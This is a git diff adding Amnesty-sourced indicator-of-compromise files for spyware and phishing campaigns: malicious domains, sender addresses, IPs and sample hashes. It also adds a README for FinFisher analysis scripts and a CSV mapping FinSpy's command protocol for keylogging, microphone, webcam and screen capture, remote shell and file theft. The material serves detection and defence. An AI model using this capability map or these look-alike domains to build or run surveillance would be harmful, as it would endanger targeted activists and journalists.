+inbox02-accounts.pro +inbox02-mails.icu +inbox02-mails.pro +inbox03-accounts.pro +inbox03-mails.icu +inbox03-mails.pro +inbox04-accounts.pro +inbox04-mails.icu +inbox04-mails.pro +inbox05-accounts.pro +inbox05-mails.icu +inbox05-mails.pro +inbox06-accounts.pro +inbox06-mails.pro +inbox07-accounts.pro +inbox101-account.com +inbox101-accounts.com +inbox101-accounts.info +inbox101-accounts.pro +inbox101-live.com +inbox102-account.com +inbox102-live.com +inbox102-mail.pro +inbox103-account.com +inbox103-mail.pro +inbox104-accounts.pro +inbox105-accounts.pro +inbox106-accounts.pro +inbox107-accounts.pro +inbox108-accounts.pro +inbox109-accounts.pro +inbox169-live.com +inbox171-live.com +inbox171-live.pro +inbox172-live.com +inbox173-live.com +inbox174-live.com +inbox-live.com +inbox-mail01.pro +inbox-mail02.pro +inbox-myaccount.com +mail01-inbox.pro +mail02-inbox.com +mail02-inbox.pro +mail03-inbox.com +mail03-inbox.pro +mail04-inbox.com +mail04-inbox.pro +mail05-inbox.pro +mail06-inbox.pro +mail07-inbox.pro +mail08-inbox.pro +mail09-inbox.pro +mail101-inbox.com +mail101-inbox.pro +mail103-inbox.com +mail103-inbox.pro +mail104-inbox.com +mail104-inbox.pro +mail105-inbox.com +mail105-inbox.pro +mail106-inbox.pro +mail107-inbox.pro +mail108-inbox.pro +mail109-inbox.pro +mail10-inbox.pro +mail110-inbox.pro +mail12-inbox.pro +mail13-inbox.pro +mail14-inbox.pro +mail15-inbox.pro +mail16-inbox.pro +mail17-inbox.pro +mail18-inbox.pro +mail19-inbox.pro +mail201-inbox.pro +mail20-inbox.pro +mail21-inbox.pro +mail-inbox.pro +mailings-noreply.pro +myaccountes-setting.com +myaccountes-settings.com +myaccount-inbox.pro +myaccount-logins.com +myaccount-redirects.com +myaccount-setting.com +myaccount-settinges.com +myaccount-setup1.com +myaccount-setup.com +myaccount-setups.com +myaccounts-login.com +myaccounts-profile.com +myaccounts-secuirty.com +myaccounts-secures.com +myaccounts-settings.com +myaccounts-settinq.com +myaccounts-settinqes.com +myaccounts-transfer.com +myaccount-transfer.com +myaccount.verification-approve.com +myaccount.verification-approves.com +myaccuont-settings.com +mysecure-account.com +mysecure-accounts.com +mysecures-accounts.com +newinbox01-accounts.pro +newinbox01-mails.pro +newinbox02-accounts.pro +newinbox03-accounts.pro +newinbox05-accounts.pro +newinbox06-accounts.pro +newinbox07-accounts.pro +newinbox08-accounts.pro +newinbox-account.info +newinbox-accounts.pro +noreply.ac +noreply-accounts.site +noreply-mailer.pro +noreply-mailers.com +noreply-mailers.pro +noreply-myaccount.com +privacy-myaccount.com +privcay-setting.com +profile-settings.com +protonemail.ch +recovery-settings.info +redirection-login.com +redirection-logins.com +redirections-login.com +redirections-login.info +redirects-myaccount.com +royalk-uae.com +secure-browsre.com +secures-applications.com +secures-browser.com +secure-settinqes.com +secures-inbox.com +secures-inbox.info +securesmails-alerts.pro +secures-settinqes.com +secures-transfer.com +secures-transfers.com +security-settinges.com +securtiy-settings.com +services-securtiy.com +setting-privcay.com +settings-secuity.com +settinq-myaccounts.com +settinqs-myaccount.com +thx-me.website +transfer-click.com +transfer-clicks.com +truecaller.services +tutanota.org +urllink.xyz +verification-approve.com +verification-approves.com +verifications-approve.com +xn--mxamya0a.ccn +yahoo.llc diff --git a/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/domains.txt b/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/domains.txt new file mode 100644 index 0000000..ff62722 --- /dev/null +++ b/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/domains.txt @@ -0,0 +1,34 @@ +account-login.site +adminmail.online +email-secure.online +login-acc.email +login-network.space +login-service.email +login-service.online +m4r3zb2ci0-noreply.pw +mail-log.pw +mail-secure.online +mail-secure.tech +mail-verify.live +maillogin.pw +mailverify.live +my-mail-inbox.com +redirect-secure.pw +safebrowsing.website +secure-accounts.online +secure-conn.pw +secure-email.site +secure-emails.online +secure-login.services +service-login.online +signin-aouth2.pw +signin-verify.pw +user-members.pro +verify-mail.pro +verifymail.live +vers.pw +weblive.pw +whatsuppweb.me +wi-fi.email +www.secure-email.site +xbz.pw diff --git a/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/emails.txt b/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/emails.txt new file mode 100644 index 0000000..c8566a3 --- /dev/null +++ b/data/ioc/spyware/amnesty/2019-03-06_egypt_oauth/emails.txt @@ -0,0 +1,5 @@ +accounts@m4r3zb2ci0-noreply.pw +noreply-team.googelsupport@verify-mail.pro +secuirty.center.google.accounts@m4r3zb2ci0-noreply.pw +support-team@m4r3zb2ci0-noreply.pw +mails@m4r3zb2ci0-noreply.pw diff --git a/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/domains.txt b/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/domains.txt new file mode 100644 index 0000000..dc535d0 --- /dev/null +++ b/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/domains.txt @@ -0,0 +1,3 @@ +srf-goolge.site +gmailusercontent.site +protect-outlook.com diff --git a/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/emails.txt b/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/emails.txt new file mode 100644 index 0000000..b4b186d --- /dev/null +++ b/data/ioc/spyware/amnesty/2019-08-16_evolving_phishing/emails.txt @@ -0,0 +1,15 @@ +admin@microsoftstore.com +google.com@localhost +google@script +noreply750@mailgoogle.ccm +noreply@gmailusercontent.site +noreply@mailgoogle.ccm +googlecommunityteam-noreply@srf-goolge.site +noreply-accounts@goolge.cm +noreply@accounts-goolge.com +noreply@accounts-goolgeemail.site +accounts-noreply@google.ccm +noreply-accounts@google.ccm +alerts@valabs.info +google@noreply-accounts.com +no-reply@goolge.email diff --git a/data/ioc/spyware/amnesty/2019-10-10_nso_morocco/domains.txt b/data/ioc/spyware/amnesty/2019-10-10_nso_morocco/domains.txt new file mode 100644 index 0000000..c7d0253 --- /dev/null +++ b/data/ioc/spyware/amnesty/2019-10-10_nso_morocco/domains.txt @@ -0,0 +1,9 @@ +stopsms.biz +revolution-news.co +videosdownload.co +infospress.com +business-today.info +hmizat.co +free247downloads.com +bun54l2b67.get1tn0w.free247downloads.com + diff --git a/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/domains.txt b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/domains.txt new file mode 100644 index 0000000..63ef636 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/domains.txt @@ -0,0 +1,71 @@ +acccountsgoog1e.com +account-mail.info +accountapp.xyz +accountsgoog1e.com +alexandr01299.xyz +auth-google.site +auth-mail.email +badoo-account-security.com +chrome-redirect.top +com-auth.site +com-enter.site +com-gm.site +com-google.site +check-activity.com.ru +comericac.com +desktest1.xyz +desktest5.xyz +desktest9.xyz +dokerest.xyz +dokertest.xyz +droinjoin.xyz +emails-support.site +fedortest.xyz +freekremlin.com +frosdank.com +frostdank.com +garant-help.com +gmail-warning.top +google-activity.pw +gvoice8765.online +hpphhpph.com +id-support-email.com +joindroin.xyz +lamatrest.xyz +mail-auth.email +mail-auth.online +mail-google.email +my-short.com +myaccount-support.top +mycabinet.xyz +mynavvfedera1.org +mynavyfedera1.org +mynavyfedral.org +mynevyfedera1.org +navyfedara1.org +navyfedera1.com +navyfedera1.org +navyfederai.org +nayfedera1.org +nevyfedera1.org +nitroqensports.eu +nsdns.xyz +poxypoxy.xyz +rc-room.com +support-emails.host +t1bank.xyz +testdhome1.xyz +testdhome4.xyz +testdom1.xyz +testdom3.xyz +testfor7.xyz +vkontak1e.com +voice98765.online +xn--avyfedera-yubm.org +xn--bckchain-v3a30f.com +xn--blckchain-17c.com +xn--blockcain-lmb.com +xn--mynavyfedera-occ.org +xn--navyfderal-36a.com +xn--navyfedera-j0b.org +yandex-account-security.com diff --git a/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/ips.txt b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/ips.txt new file mode 100644 index 0000000..dd18732 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/ips.txt @@ -0,0 +1,22 @@ +51.15.100.189 +51.15.114.133 +51.15.134.115 +51.15.253.174 +51.15.116.52 +212.47.244.155 +167.99.208.115 +142.93.219.124 +51.158.108.37 +51.158.168.110 +51.83.97.40 +134.209.86.7 +68.183.66.192 +167.71.93.148 +134.209.193.198 +217.61.0.148 +165.227.153.226 +68.183.49.14 +45.86.65.167 +208.68.39.124 +51.254.221.192 +217.61.17.175 diff --git a/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/samples.txt b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/samples.txt new file mode 100644 index 0000000..40d1c07 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-03-12_uzbekistan/samples.txt @@ -0,0 +1,3 @@ +279c70f2da2c361b62353bdaa388372adc14929b3be83571b1347d890fd6279c +902c5f46ac101b6f30032d4c5c86ecec115add3605fb0d66057130b6e11c57e6 +ba1990b5e38191512718180d0de1ad2123e18330449b8c12877c4db60aeb05e4 diff --git a/data/ioc/spyware/amnesty/2020-06-15_india/README.md b/data/ioc/spyware/amnesty/2020-06-15_india/README.md new file mode 100644 index 0000000..bbac316 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-06-15_india/README.md @@ -0,0 +1,3 @@ +# India: Human Rights Defenders Targeted by a Coordinated Spyware Operation + +Indicators of the report [India: Human Rights Defenders Targeted by a Coordinated Spyware Operation](https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/) diff --git a/data/ioc/spyware/amnesty/2020-06-15_india/domains.txt b/data/ioc/spyware/amnesty/2020-06-15_india/domains.txt new file mode 100644 index 0000000..b4df179 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-06-15_india/domains.txt @@ -0,0 +1,3 @@ +researchplanet.zapto.org +socialstatistics.zapto.org +duniaenewsportal.ddns.net diff --git a/data/ioc/spyware/amnesty/2020-06-15_india/emails.txt b/data/ioc/spyware/amnesty/2020-06-15_india/emails.txt new file mode 100644 index 0000000..fc9ad2d --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-06-15_india/emails.txt @@ -0,0 +1,5 @@ +jagdish.meshraam@gmail.com +drsnehapatil64@gmail.com +sinhamuskaan04@gmail.com +jennifergonzales789@gmail.com +payalshastri79@gmail.com diff --git a/data/ioc/spyware/amnesty/2020-06-15_india/ips.txt b/data/ioc/spyware/amnesty/2020-06-15_india/ips.txt new file mode 100644 index 0000000..e6c216f --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-06-15_india/ips.txt @@ -0,0 +1,5 @@ +185.82.202.155 +185.117.66.188 +185.117.74.47 +185.117.74.28 +185.45.193.14 diff --git a/data/ioc/spyware/amnesty/2020-06-15_india/sha256.txt b/data/ioc/spyware/amnesty/2020-06-15_india/sha256.txt new file mode 100644 index 0000000..a3fcd30 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-06-15_india/sha256.txt @@ -0,0 +1,12 @@ +e3dea449bf74434ee1c9cdc04ca68b8f3c9bac357768e07df303433f257d3b9a +21d24e08889f75461a7ce6f21fc612a701bca35da1a218cf3cdd6e23f613bb4d +16b5c74fb55f52ae0ae4328f65b2bf3bbe3e5ee34268c1d32a247a0a1dfa3186 +5a4aca57541954195953066a4be96dfb19776ba099d72f8f1d3677581594606e +11cef331557eb693e718d27b6a7211a98d3982117a03ec1491db8098ea3cec00 +88b92d985b7d616c93c391731c1e4a6d3c8323fdcbf31cfc4d340e27253913a7 +b1b6e133aa320669c772ec7e5fd6fbe4cb3edca13ad5351f14df3c1f13939d09 +ea5f37e1feab670171963aa83b235c772202b2d4bb7289dd45302c3851dbd6f9 +de302a61e5f07b0e65753355d44d22181a2742ac3a92aa058bdcd00cc4dab788 +b09ca9d48a0455ed5e02a56aabeb397c41fb63320244719749e0741da72e79c4 +095ec879f323a0a3eceb97013125880d49ac701eef568e3b010fdddb1333941f +ac4d5d938009fd44b2f7587986862ab2278887a17d32f748278445b625b3efd9 diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/README.md b/data/ioc/spyware/amnesty/2020-09-25_finfisher/README.md new file mode 100644 index 0000000..58b07a4 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/README.md @@ -0,0 +1,25 @@ +# Technical Report + +This repository contains indicators of compromise and scripts related to the report [German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed ](https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/) published by Amnesty Tech in September 2020. + +Indicators: + +* `domains.txt` : domains identified +* `ips.txt` : IPv4 addresses identified +* `sha256.csv` : sha256 of samples identified +* `rules.yar` : Yara rules + +Tools in the script folder: + +* `decode_modules.py` : decode encrypted modules of Linux and MacOs +* `read_config.py` : read FinSpy configuration +* `android/extract_config.py` : extract configuration from FinSpy Android samples +* `android/java_parser.py` : extract obfuscated strings from decompiled java code +* `android/string_decoder.py` : decode obfuscated strings +* `linux/extract_config.py` : extract configuration files from a Linux FinSpy installer +* `cobaltstrike/cobaltstrike_config.py`: extract the configuration of a Cobalt Strike payload +* `cobaltstrike/cobaltstrike_decode.py`: decode an obfuscated Cobalt Strike payload + +Additional files: + +* `android_tlv_list.csv` : list of TLV values extracted from the Android sample diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/android_tlv_list.csv b/data/ioc/spyware/amnesty/2020-09-25_finfisher/android_tlv_list.csv new file mode 100644 index 0000000..ca40b4c --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/android_tlv_list.csv @@ -0,0 +1,813 @@ +Group ID,Group name,TLV value,Known TLV,TLV name,Function +64,drives all get,131488,✔,TlvTypeGetAllDrivesRequest, +64,drives all get,131744,✔,TlvTypeGetAllDrivesReply, +66,contents folder get,135328,✔,TlvTypeGetFolderContentsRequest, +66,contents folder get,135584,✔,TlvTypeGetFolderContentsReply, +66,contents folder get,135840,✔,TlvTypeGetFolderContentsNext, +66,contents folder get,136096,✔,TlvTypeGetFolderContentsEnd, +68,download file,139424,✔,TlvTypeDownloadFileRequest, +68,download file,139680,✔,TlvTypeCancelDownloadFileRequest, +68,download file,139936,✔,TlvTypeDownloadFileReply, +68,download file,140192,✔,TlvTypeDownloadFileNext, +68,download file,140448,✔,TlvTypeDownloadFileEnd, +68,download file,140704,✔,TlvTypeCancelDownloadFileReply, +70,upload file,143520,✔,TlvTypeUploadFileRequest, +70,upload file,143776,✔,TlvTypeCancelUploadFileRequest, +70,upload file,144032,✔,TlvTypeUploadFileReply, +70,upload file,144288,✔,TlvTypeUploadFileNext, +70,upload file,144544,✔,TlvTypeUploadFileEnd, +70,upload file,144800,✔,TlvTypeUploadFileCompleted, +70,upload file,145056,✔,TlvTypeCancelUploadFileReply, +72,delete file,147616,✔,TlvTypeDeleteFileRequest, +72,delete file,147872,✔,TlvTypeDeleteFileReply, +74,search file,151968,✔,TlvTypeSearchFileRequest, +74,search file,152224,✔,TlvTypeSearchFileReply, +74,search file,152480,✔,TlvTypeSearchFileNext, +74,search file,152736,✔,TlvTypeSearchFileEnd, +74,search file,152992,✔,TlvTypeCancelSearchFileRequest, +74,search file,153248,✔,TlvTypeCancelSearchFileReply, +78,fs,159888,✔,TlvTypeFSFileDataChunk,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/d, L/org/xmlpush/v3/o/h, L/org/xmlpush/v3/h/c" +78,fs,160128,✔,TlvTypeFSDiskDrive,Lorg/xmlpush/v3/o/e +78,fs,160384,✔,TlvTypeFSFullPath,"Lorg/xmlpush/v3/n/m, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/f/b, L/org/xmlpush/v3/o/h, L/org/xmlpush/v3/h/c" +78,fs,160640,✔,TlvTypeFSFilename,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, L/org/xmlpush/v3/h/c" +78,fs,160896,✔,TlvTypeFSFileExtension, +78,fs,161088,✔,TlvTypeFSDiskDriveType,Lorg/xmlpush/v3/o/e +78,fs,161408,✔,TlvTypeFSFileSize,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +78,fs,161584,✔,TlvTypeFSIsFolder,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,161840,✔,TlvTypeFSReadOnly,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,162096,✔,TlvTypeFSHidden,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,162352,✔,TlvTypeFSSystem,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,162688,✔,TlvTypeFSFileCreationTime,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,162944,✔,TlvTypeFSFileLastAccessTime,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,163200,✔,TlvTypeFSFileLastWriteTime,"Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e, Lorg/xmlpush/v3/o/e" +79,fs,163472,✔,TlvTypeFSFullPathM,"Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, Lorg/xmlpush/v3/o/d, L/org/xmlpush/v3/h/c" +79,fs,163632,×,unknown,Lorg/xmlpush/v3/o/e +82,system config file,168096,✔,TlvTypeGetFileSystemConfigRequest, +82,system config file,168352,✔,TlvTypeFileSystemConfigReply, +82,system config file,168608,✔,TlvTypeSetFileSystemConfigRequest, +128,line cmd,262560,✔,TlvTypeStartCmdLineSessionRequest, +128,line cmd,262816,✔,TlvTypeStartCmdLineSessionReply, +128,line cmd,263072,✔,TlvTypeStopCmdLineSessionRequest, +128,line cmd,263328,✔,TlvTypeCmdLineSessionStoppedReply, +128,line cmd,263584,✔,TlvTypeCmdLineExecute, +128,line cmd,263840,✔,TlvTypeCmdLineExecutionResult, +130,line cmd execute,266352,✔,TlvTypeCmdLineExecuteCommand, +130,line cmd execute,266560,✔,TlvTypeCmdLineExecuteAnswerID, +130,line cmd execute,266864,✔,TlvTypeCmdLineExecuteAnswerData, +146,line config cmd,299168,✔,TlvTypeGetCmdLineConfigRequest, +146,line config cmd,299424,✔,TlvTypeCmdLineConfigReply, +146,line config cmd,299680,✔,TlvTypeSetCmdLineConfigRequest, +160,config scheduler,328096,✔,TlvTypeGetSchedulerConfigRequest, +160,config scheduler,328352,✔,TlvTypeSchedulerConfigReply, +160,config scheduler,328608,✔,TlvTypeSetSchedulerConfigRequest, +162,task scheduler,331920,✔,TlvTypeSchedulerTask, +162,task scheduler,332192,✔,TlvTypeSchedulerTaskRecordByTime, +162,task scheduler,332448,✔,TlvTypeSchedulerTaskRecordScreenWhenAppRuns, +162,task scheduler,332704,✔,TlvTypeSchedulerTaskRecordMicWhenAppUsesIt, +162,task scheduler,332960,✔,TlvTypeSchedulerTaskRecordWebCamWhenAppUsesIt, +176,sch,360592,✔,TlvTypeSCHTaskConfiguration,L/org/xmlpush/v3/h/c +176,sch,360752,✔,TlvTypeSCHTaskEnabled,L/org/xmlpush/v3/h/c +176,sch,361344,✔,TlvTypeSCHTaskStartDateTime,L/org/xmlpush/v3/h/c +176,sch,361600,✔,TlvTypeSCHTaskStopDateTime,L/org/xmlpush/v3/h/c +176,sch,362112,✔,TlvTypeSCHApplicationName, +176,sch,362288,✔,TlvTypeSCHApplicationWindowOnly, +512,microphone,1048992,✔,TlvTypeStartMicrophoneRequest, +512,microphone,1049248,✔,TlvTypeStartMicrophoneReply, +512,microphone,1049504,✔,TlvTypeMicrophoneFrame, +512,microphone,1049760,✔,TlvTypeStopMicrophoneRequest, +512,microphone,1050016,✔,TlvTypeMicrophoneStoppedReply, +512,microphone,1050272,✔,TlvTypeStartMicrophoneRecording, +514,,1052736,✔,TlvTypeMICFrameID,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n" +514,,1053072,✔,TlvTypeMICFrameData,"Lorg/xmlpush/v3/o/a, Lorg/xmlpush/v3/o/n" +514,,1053312,✔,TlvTypeAudioSessionType, +514,,1053568,✔,TlvTypeAudioEncodingType, +518,audio config,1061024,✔,TlvTypeGetAudioConfigRequest, +518,audio config,1061280,✔,TlvTypeAudioConfigReply, +518,audio config,1061536,✔,TlvTypeSetAudioConfigRequest, +520,type video,1066112,✔,TlvTypeVideoSessionType,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b" +520,type video,1066368,✔,TlvTypeVideoEncodingType,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b" +544,screen,1114528,✔,TlvTypeStartScreenRequest, +544,screen,1114784,✔,TlvTypeStartScreenReply, +544,screen,1115040,✔,TlvTypeScreenFrame, +544,screen,1115296,✔,TlvTypeStopScreenRequest, +544,screen,1115552,✔,TlvTypeScreenStoppedReply, +544,screen,1115808,✔,TlvTypeStartScreenRecording, +548,cam web,1122720,✔,TlvTypeStartWebCamRequest, +548,cam web,1122976,✔,TlvTypeStartWebCamReply, +548,cam web,1123232,✔,TlvTypeWebCamFrame, +548,cam web,1123488,✔,TlvTypeStopWebCamRequest, +548,cam web,1123744,✔,TlvTypeWebCamStoppedReply, +548,cam web,1124000,✔,TlvTypeStartWebCamRecording, +550,config video,1126560,✔,TlvTypeGetVideoConfigRequest, +550,config video,1126816,✔,TlvTypeVideoConfigReply, +550,config video,1127072,✔,TlvTypeSetVideoConfigRequest, +552,,1130560,✔,TlvTypeVDFrameID,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b" +552,,1130896,✔,TlvTypeVDFrameData,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b" +552,,1131136,✔,TlvTypeOriginalVideoResolution,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b" +552,,1131392,✔,TlvTypeVideoResolution,"Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/k, Lorg/xmlpush/v3/o/b, Lorg/xmlpush/v3/o/b" +552,,1132160,✔,TlvTypeAutomaticRecordingUID, +576,key logging,1180064,✔,TlvTypeStartKeyLoggingRequest, +576,key logging,1180320,✔,TlvTypeStartKeyLoggingReply, +576,key logging,1180576,✔,TlvTypeKeyLoggingFrame, +576,key logging,1180832,✔,TlvTypeStopKeyLoggingRequest, +576,key logging,1181088,✔,TlvTypeKeyLoggingStoppedReply, +582,config keylogger,1192096,✔,TlvTypeGetKeyloggerConfigRequest, +582,config keylogger,1192352,✔,TlvTypeKeyloggerConfigReply, +582,config keylogger,1192608,✔,TlvTypeSetKeyloggerConfigRequest, +584,kl frame data,1196416,✔,TlvTypeKLFrameData,Lorg/xmlpush/v3/o/i +640,skype,1311136,✔,TlvTypeSkypeAudioMetaInfo, +640,skype,1311376,✔,TlvTypeSkypeAudioRecording, +640,skype,1311648,✔,TlvTypeSkypeTextRecording, +640,skype,1311904,✔,TlvTypeSkypeFileMetaInfo, +640,skype,1312144,✔,TlvTypeSkypeFileRecording, +640,skype,1312416,✔,TlvTypeSkypeContactsRecording, +640,skype,1312640,✔,TlvTypeSkypeContactsUserData, +646,config skype,1323168,✔,TlvTypeGetSkypeConfigRequest, +646,config skype,1323424,✔,TlvTypeSkypeConfigReply, +646,config skype,1323680,✔,TlvTypeSetSkypeConfigRequest, +646,config skype,1324336,✔,TlvTypeConfigSkypeAudioEnable, +646,config skype,1324592,✔,TlvTypeConfigSkypeTextEnable, +646,config skype,1324848,✔,TlvTypeConfigSkypeFileEnable, +647,config contacts enable list skype,1325104,✔,TlvTypeConfigSkypeContactsListEnable, +648,skype,1327232,✔,TlvTypeSkypeAudioEncodingType, +648,skype,1327488,✔,TlvTypeSkypeLoggedInUserAccountName, +648,skype,1327744,✔,TlvTypeSkypeConversationPartnerAccountName, +648,skype,1328000,✔,TlvTypeSkypeConversationPartnerDisplayName, +648,skype,1328256,✔,TlvTypeSkypeChatMembers, +648,skype,1328512,✔,TlvTypeSkypeTextMessage, +648,skype,1328768,✔,TlvTypeSkypeChatID, +648,skype,1329024,✔,TlvTypeSkypeSenderAccountName, +649,skype,1329280,✔,TlvTypeSkypeSenderDisplayName, +649,skype,1329536,✔,TlvTypeSkypeIncoming, +649,skype,1329792,✔,TlvTypeSkypeSessionType, +704,changed file,1442208,✔,TlvTypeChangedFileMetaInfo, +704,changed file,1442432,✔,TlvTypeChangedFileChangeTime, +704,changed file,1442688,✔,TlvTypeChangedFileChangeEvent, +704,changed file,1442960,✔,TlvTypeChangedFileRecording, +710,config changed,1454240,✔,TlvTypeGetChangedConfigRequest, +710,config changed,1454496,✔,TlvTypeChangedConfigReply, +710,config changed,1454752,✔,TlvTypeSetChangedConfigRequest, +710,config changed,1454912,✔,TlvTypeConfigChangedEvents, +736,,1507744,✔,TlvTypeAccessedFileMetaInfo, +736,,1507968,✔,TlvTypeAccessedFileAccessTime, +736,,1508224,✔,TlvTypeAccessedFileAccessEvent, +736,,1508496,✔,TlvTypeAccessedFileRecording, +736,,1508736,✔,TlvTypeAccessedApplicationName, +736,,1508912,✔,TlvTypeConfigRecordImagesFromExplorer, +742,accessed config,1519776,✔,TlvTypeGetAccessedConfigRequest, +742,accessed config,1520032,✔,TlvTypeAccessedConfigReply, +742,accessed config,1520288,✔,TlvTypeSetAccessedConfigRequest, +742,accessed config,1520448,✔,TlvTypeConfigAccessedEvents, +768,print,1573280,✔,TlvTypePrintFileMetaInfo, +768,print,1573520,✔,TlvTypePrintFrame, +772,print,1581184,✔,TlvTypePrintApplicationName, +772,print,1581440,✔,TlvTypePrintFilename, +772,print,1581696,✔,TlvTypePrintEncodingType, +774,print config,1585312,✔,TlvTypeGetPrintConfigRequest, +774,print config,1585568,✔,TlvTypePrintConfigReply, +774,print config,1585824,✔,TlvTypeSetPrintConfigRequest, +800,deleted,1638816,✔,TlvTypeDeletedFileMetaInfo, +800,deleted,1639296,✔,TlvTypeDeletedFileDeletionTime, +800,deleted,1639552,✔,TlvTypeDeletedFileRecycleBin, +800,deleted,1639808,✔,TlvTypeDeletedMethod, +800,deleted,1640064,✔,TlvTypeDeletedApplicationName, +800,deleted,1640336,✔,TlvTypeDeletedFileRecording, +806,config deleted,1650848,✔,TlvTypeGetDeletedConfigRequest, +806,config deleted,1651104,✔,TlvTypeDeletedConfigReply, +806,config deleted,1651360,✔,TlvTypeSetDeletedConfigRequest, +1024,application upload forensics,2097568,✔,TlvTypeUploadForensicsApplicationRequest, +1024,application upload forensics,2097824,✔,TlvTypeUploadForensicsApplicationReply, +1024,application upload forensics,2098080,✔,TlvTypeUploadForensicsApplicationChunk, +1024,application upload forensics,2098336,✔,TlvTypeUploadForensicsApplicationDoneRequest, +1024,application upload forensics,2098592,✔,TlvTypeUploadForensicsApplicationDoneReply, +1026,application remove forensics,2101664,✔,TlvTypeRemoveForensicsApplicationRequest, +1026,application remove forensics,2101920,✔,TlvTypeRemoveForensicsApplicationReply, +1028,app forensics execute,2105760,✔,TlvTypeForensicsAppExecuteRequest, +1028,app forensics execute,2106016,✔,TlvTypeForensicsAppExecuteReply, +1028,app forensics execute,2106272,✔,TlvTypeForensicsAppExecuteResult, +1028,app forensics execute,2106528,✔,TlvTypeForensicsAppExecuteResultChunk, +1028,app forensics execute,2106784,✔,TlvTypeForensicsAppExecuteResultDone, +1028,app forensics execute,2107040,✔,TlvTypeForensicsCancelAppExecuteRequest, +1028,app forensics execute,2107296,✔,TlvTypeForensicsCancelAppExecuteReply, +1030,config forensics,2109600,✔,TlvTypeGetForensicsConfigRequest, +1030,config forensics,2109856,✔,TlvTypeForensicsConfigReply, +1030,config forensics,2110112,✔,TlvTypeSetForensicsConfigRequest, +1032,application config info forensics,2113680,✔,TlvTypeConfigForensicsApplicationInfoGeneric, +1032,application config info forensics,2113952,✔,TlvTypeConfigForensicsApplicationInfo, +1034,forensics,2117760,✔,TlvTypeConfigForensicsApplicationName, +1034,forensics,2117952,✔,TlvTypeConfigForensicsApplicationSize, +1034,forensics,2118208,✔,TlvTypeConfigForensicsApplicationID, +1034,forensics,2118528,✔,TlvTypeConfigForensicsApplicationCmdline, +1034,forensics,2118784,✔,TlvTypeConfigForensicsApplicationOutput, +1034,forensics,2118976,✔,TlvTypeConfigForensicsApplicationTimeout, +1034,forensics,2119232,✔,TlvTypeConfigForensicsApplicationVersion, +1034,forensics,2119552,✔,TlvTypeForensicsFriendlyName, +1035,output application config forensics,2119808,✔,TlvTypeConfigForensicsApplicationOutputPrepend, +1035,output application config forensics,2120064,✔,TlvTypeConfigForensicsApplicationOutputContentType, +1056,vo meta info 